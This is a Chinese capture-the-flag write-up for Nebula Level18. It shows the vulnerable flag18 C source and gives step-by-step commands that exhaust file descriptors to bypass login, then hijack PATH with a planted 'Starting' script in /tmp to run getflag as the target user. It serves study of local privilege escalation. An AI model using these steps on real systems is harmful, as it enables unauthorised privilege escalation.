Skip to content

Latest commit

 

History

History
279 lines (218 loc) · 9.94 KB

Level18——资源未释放漏洞.org

File metadata and controls

279 lines (218 loc) · 9.94 KB

这关比较特殊, 根据题目的提示,有简单的、容易的和最难的三种方法突破这关。在此,我只讲一种简单的方法——通过资源未释放漏洞。另外的方法可能是溢出和字符串格式化漏洞,还有空指针问题。由于这些已经有点超出基础学习的范围了,所以就不说了。

注意

本文利用“资源未释放漏洞”是可以顺利通关了的,但是我觉得官方给出的代码有问题如果程序中有fclose,那么本文的方法就行不通。我查阅过的国外一些技术员的博客,他们突破的时候,都没有32行处的fclose。为此,我逆向了系统中flag18,也没有看到login函数里调用过fclose函数。并且,我看官方更新的源码中,似乎是在两个多月前加上的fclose(),而我却是在一个多月前下载的Exploit Exercises,我今天也重新下载了镜像,做了实验,确定能够通关,并且也逆向了flag18,确定了目前的flag18是没有调用fclose的。如果你无法利用本文的方法通关的话,先自己尝试是否能消耗完1024个句柄,如果不能消耗完,很可能程序中已经加了fclose,这时,你可以通过电邮联系我,一起讨论下另外的突破方法:lx#shellcodes.org。而在本文中,我将忽略掉32行的fclose()。

程序代码如下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
    char file[64];

    if(fgets(file, sizeof(file) - 1, fp) == NULL) {
      dprintf("Unable to read password file %s\n", PWFILE);
      return;
    }
    fclose(fp);
    if(strcmp(pw, file) != 0) return;
  }
  dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
    switch(c) {
    case 'd':
      globals.debugfile = fopen(optarg, "w+");
      if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
      setvbuf(globals.debugfile, NULL, _IONBF, 0);
      break;
    case 'v':
      globals.verbose++;
      break;
    }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
    char line[256];
    char *p, *q;

    q = fgets(line, sizeof(line)-1, stdin);
    if(q == NULL) break;
    p = strchr(line, '\n'); if(p) *p = 0;
    p = strchr(line, '\r'); if(p) *p = 0;

    dvprintf(2, "got [%s] as input\n", line);

    if(strncmp(line, "login", 5) == 0) {
      dvprintf(3, "attempting to login\n");
      login(line + 6);
    } else if(strncmp(line, "logout", 6) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "shell", 5) == 0) {
      dvprintf(3, "attempting to start shell\n");
      if(globals.loggedin) {
        execve("/bin/sh", argv, envp);
        err(1, "unable to execve");
      }
      dprintf("Permission denied\n");
    } else if(strncmp(line, "logout", 4) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "closelog", 8) == 0) {
      if(globals.debugfile) fclose(globals.debugfile);
      globals.debugfile = NULL;
    } else if(strncmp(line, "site exec", 9) == 0) {
      notsupported(line + 10);
    } else if(strncmp(line, "setuser", 7) == 0) {
      setuser(line + 8);
    }
  }

  return 0;
}

资源未释放漏洞就是程序使用了系统资源(比如申请了内存空间、打开了文件),但没有(正确)释放资源,这个漏洞出现在login函数中,因为调用了fopen,但并没有调用fclose释放资源。如果25行的if(fp)为假,globals.loggedin将会被赋值为1,globals.loggedin=1表示的是成功登录。导致fp返回空的原因有很多,比如句柄用完了、没有权限操作指定的文件等等。

由于是个交互式程序,不断接受用户输入的指令,每调用一次login执行,就会消耗一个句柄,直到句柄消耗完毕。Linux默认情况下,一个进程只可以打开1024个句柄,可以通过ulimit -n命令查看:

level18@nebula:/tmp$ ulimit -n
1024

虽然显示的是1024,但是标准输入、标准输出、标准错误输出会分别占用一个句柄,所以最终供程序可用的只有1021个

攻击这段代码的方法便是不停让它向系统申请句柄,让程序耗尽句柄,让login的代码执行到globals.loggedin=1,之后就可以向程序发送“shell”命令。代码第98行说明要执行“shell”指令,globals.loggedin必须为1。

先在/tmp下建立一个脚本,输出1021个“login lu4nx”命令:

for i in {0..1020};
do
    echo 'login lu4nx'>>/tmp/login;
done;

因为Linux的标准输入、输出和错误各需要一个句柄,所以只需要1021个。 之后执行:

cat /tmp/login | /home/flag18/flag18 -d /tmp/debug

然后看看debug中的内容:

level18@nebula:/tmp$ cat debug
Starting up. Verbose level = 0
logged in successfully (without password file)

flag18的-d参数是输出信息到指定的文件中,具体请参考源码。根据输出的内容,说明登录成功了,如果登录成功了,就可以执行“shell”命令,在/tmp/login中追加一个“shell”命令:

level18@nebula:echo 'shell' >> /tmp/login  #向login文件中追加一行“shell”字符串
level18@nebula:cat /tmp/login | /home/flag18/flag18 -d /tmp/debug

再看输出:

level18@nebula:/tmp$ cat login | /home/flag18/flag18 -d debug
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24

很明显,是因为句柄耗尽了,所以无法获得句柄,自然打开文件就失败了。不过还好官方提供的源码中有个closelog命令:

} else if(strncmp(line, "closelog", 8) == 0) {
    if(globals.debugfile) fclose(globals.debugfile);
    globals.debugfile = NULL;
  }

执行closelog命令,可以直接释放一个句柄。所以在“shell”命令执行前,先释放一个句柄,直接在/tmp/login的“shell”行上方加入closelog后再执行:

level18@nebula:/tmp$ cat login | /home/flag18/flag18 -d debug
/home/flag18/flag18: -d: invalid option
Usage:  /home/flag18/flag18 [GNU long option] [option] ...
/home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option      (invocation only)
-abefhkmnptuvxBCHP or -o option

这个提示的错误其实不是来自flag18的,而是在/bin/sh接受参数时的问题,加个–init-file就可以了:

level18@nebula:/tmp$ cat login | /home/flag18/flag18 --init-file -d debug
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
debug: line 1: Starting: command not found
debug: line 2: syntax error near unexpected token `('
debug: line 2: `logged in successfully (without password file)'

依旧还是要提示错误,请注意:

debug: line 1: Starting: command not found

提示找不到Starting命令。根据前面玩过的关卡的经验,看到这个就应该联想到前面有一关是关于攻击环境变量的,这种情况我们可以在环境变量上下手脚,在/tmp目录里新建一个Starting,加上+x权限。Starting是一个脚本,内容是将getflag的输出重定向到/tmp/output中:

level18@nebula:/tmp$ touch Starting
level18@nebula:/tmp$ chmod +x Starting
level18@nebula:/tmp$ echo "getflag>/tmp/output" > Starting

并修改PATH变量:

level18@nebula:/tmp$ PAHT=/tmp:$PATH
level18@nebula:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

再次执行后,只看到这么两句错误:

debug: line 2: syntax error near unexpected token `('
debug: line 2: `logged in successfully (without password file)'

这时并没有提示找不到Starting了。同时,再看看目录下,多出一个output:

level18@nebula:/tmp$ cat output
You have successfully executed getflag on a target account

说明已经成功提权。

参考:

  1. http://securityetalii.es/2012/08/13/solucion-nebula-nivel-18/